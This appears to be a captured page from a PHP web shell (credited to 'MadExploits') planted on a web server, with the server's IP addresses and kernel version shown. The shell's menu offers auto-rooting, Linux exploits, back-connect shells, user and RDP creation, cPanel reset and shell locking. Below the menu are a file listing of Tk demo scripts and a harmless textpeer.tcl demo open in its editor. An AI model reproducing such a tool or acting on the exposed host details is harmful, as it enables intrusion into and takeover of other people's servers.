Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.131.13.196
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
tk8.5 /
demos /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
README
2.03
KB
-rw-r--r--
anilabel.tcl
6.51
KB
-rw-r--r--
aniwave.tcl
3.41
KB
-rw-r--r--
arrow.tcl
7.8
KB
-rw-r--r--
bind.tcl
2.87
KB
-rw-r--r--
bitmap.tcl
1.38
KB
-rw-r--r--
browse
1.72
KB
-rwxr-xr-x
button.tcl
1.47
KB
-rw-r--r--
check.tcl
2.22
KB
-rw-r--r--
clrpick.tcl
1.4
KB
-rw-r--r--
colors.tcl
4.88
KB
-rw-r--r--
combo.tcl
1.94
KB
-rw-r--r--
cscroll.tcl
3.31
KB
-rw-r--r--
ctext.tcl
4.76
KB
-rw-r--r--
dialog1.tcl
660
B
-rw-r--r--
dialog2.tcl
613
B
-rw-r--r--
en.msg
3.8
KB
-rw-r--r--
entry1.tcl
1.35
KB
-rw-r--r--
entry2.tcl
2.06
KB
-rw-r--r--
entry3.tcl
5.95
KB
-rw-r--r--
filebox.tcl
2.2
KB
-rw-r--r--
floor.tcl
77.24
KB
-rw-r--r--
form.tcl
1.02
KB
-rw-r--r--
goldberg.tcl
55.23
KB
-rw-r--r--
hello
512
B
-rwxr-xr-x
hscale.tcl
1.46
KB
-rw-r--r--
icon.tcl
2.01
KB
-rw-r--r--
image1.tcl
1002
B
-rw-r--r--
image2.tcl
3.28
KB
-rw-r--r--
items.tcl
9.5
KB
-rw-r--r--
ixset
7.91
KB
-rwxr-xr-x
knightstour.tcl
8.38
KB
-rw-r--r--
label.tcl
1.29
KB
-rw-r--r--
labelframe.tcl
1.8
KB
-rw-r--r--
license.terms
2.16
KB
-rw-r--r--
mclist.tcl
3.89
KB
-rw-r--r--
menu.tcl
6.57
KB
-rw-r--r--
menubu.tcl
4.37
KB
-rw-r--r--
msgbox.tcl
1.98
KB
-rw-r--r--
nl.msg
6.61
KB
-rw-r--r--
paned1.tcl
1.08
KB
-rw-r--r--
paned2.tcl
2.18
KB
-rw-r--r--
pendulum.tcl
7.46
KB
-rw-r--r--
plot.tcl
2.69
KB
-rw-r--r--
puzzle.tcl
2.54
KB
-rw-r--r--
radio.tcl
2.69
KB
-rw-r--r--
rmt
5.22
KB
-rwxr-xr-x
rolodex
8.11
KB
-rwxr-xr-x
ruler.tcl
5.09
KB
-rw-r--r--
sayings.tcl
2.21
KB
-rw-r--r--
search.tcl
4.29
KB
-rw-r--r--
spin.tcl
1.78
KB
-rw-r--r--
states.tcl
1.63
KB
-rw-r--r--
style.tcl
6.78
KB
-rw-r--r--
tclIndex
4.25
KB
-rw-r--r--
tcolor
10.99
KB
-rwxr-xr-x
text.tcl
3.34
KB
-rw-r--r--
textpeer.tcl
2.13
KB
-rw-r--r--
timer
1.09
KB
-rwxr-xr-x
toolbar.tcl
3.19
KB
-rw-r--r--
tree.tcl
3.29
KB
-rw-r--r--
ttkbut.tcl
3.34
KB
-rw-r--r--
ttkmenu.tcl
2.35
KB
-rw-r--r--
ttknote.tcl
2.41
KB
-rw-r--r--
ttkpane.tcl
3.95
KB
-rw-r--r--
ttkprogress.tcl
1.52
KB
-rw-r--r--
ttkscale.tcl
1.39
KB
-rw-r--r--
twind.tcl
10.57
KB
-rw-r--r--
unicodeout.tcl
3.45
KB
-rw-r--r--
vscale.tcl
1.44
KB
-rw-r--r--
widget
22.83
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : textpeer.tcl
# textpeer.tcl -- # # This demonstration script creates a pair of text widgets that can edit a # single logical buffer. This is particularly useful when editing related text # in two (or more) parts of the same file. if {![info exists widgetDemo]} { error "This script should be run from the \"widget\" demo." } package require Tk set w .textpeer catch {destroy $w} toplevel $w wm title $w "Text Widget Peering Demonstration" wm iconname $w "textpeer" positionWindow $w set count 0 ## Define a widget that we peer from; it won't ever actually be shown though set first [text $w.text[incr count]] $first insert end "This is a coupled pair of text widgets; they are peers to " $first insert end "each other. They have the same underlying data model, but " $first insert end "can show different locations, have different current edit " $first insert end "locations, and have different selections. You can also " $first insert end "create additional peers of any of these text widgets using " $first insert end "the Make Peer button beside the text widget to clone, and " $first insert end "delete a particular peer widget using the Delete Peer " $first insert end "button." ## Procedures to make and kill clones; most of this is just so that the demo ## looks nice... proc makeClone {w parent} { global count set t [$parent peer create $w.text[incr count] -yscroll "$w.sb$count set"\ -height 10 -wrap word] set sb [scrollbar $w.sb$count -command "$t yview" -orient vertical] set b1 [button $w.clone$count -command "makeClone $w $t" \ -text "Make Peer"] set b2 [button $w.kill$count -command "killClone $w $count" \ -text "Delete Peer"] set row [expr {$count * 2}] grid $t $sb $b1 -sticky nsew -row $row grid ^ ^ $b2 -row [incr row] grid configure $b1 $b2 -sticky new grid rowconfigure $w $b2 -weight 1 } proc killClone {w count} { destroy $w.text$count $w.sb$count destroy $w.clone$count $w.kill$count } ## Now set up the GUI makeClone $w $first makeClone $w $first destroy $first ## See Code / Dismiss buttons grid [addSeeDismiss $w.buttons $w] - - -sticky ew -row 5000 grid columnconfigure $w 0 -weight 1
Close
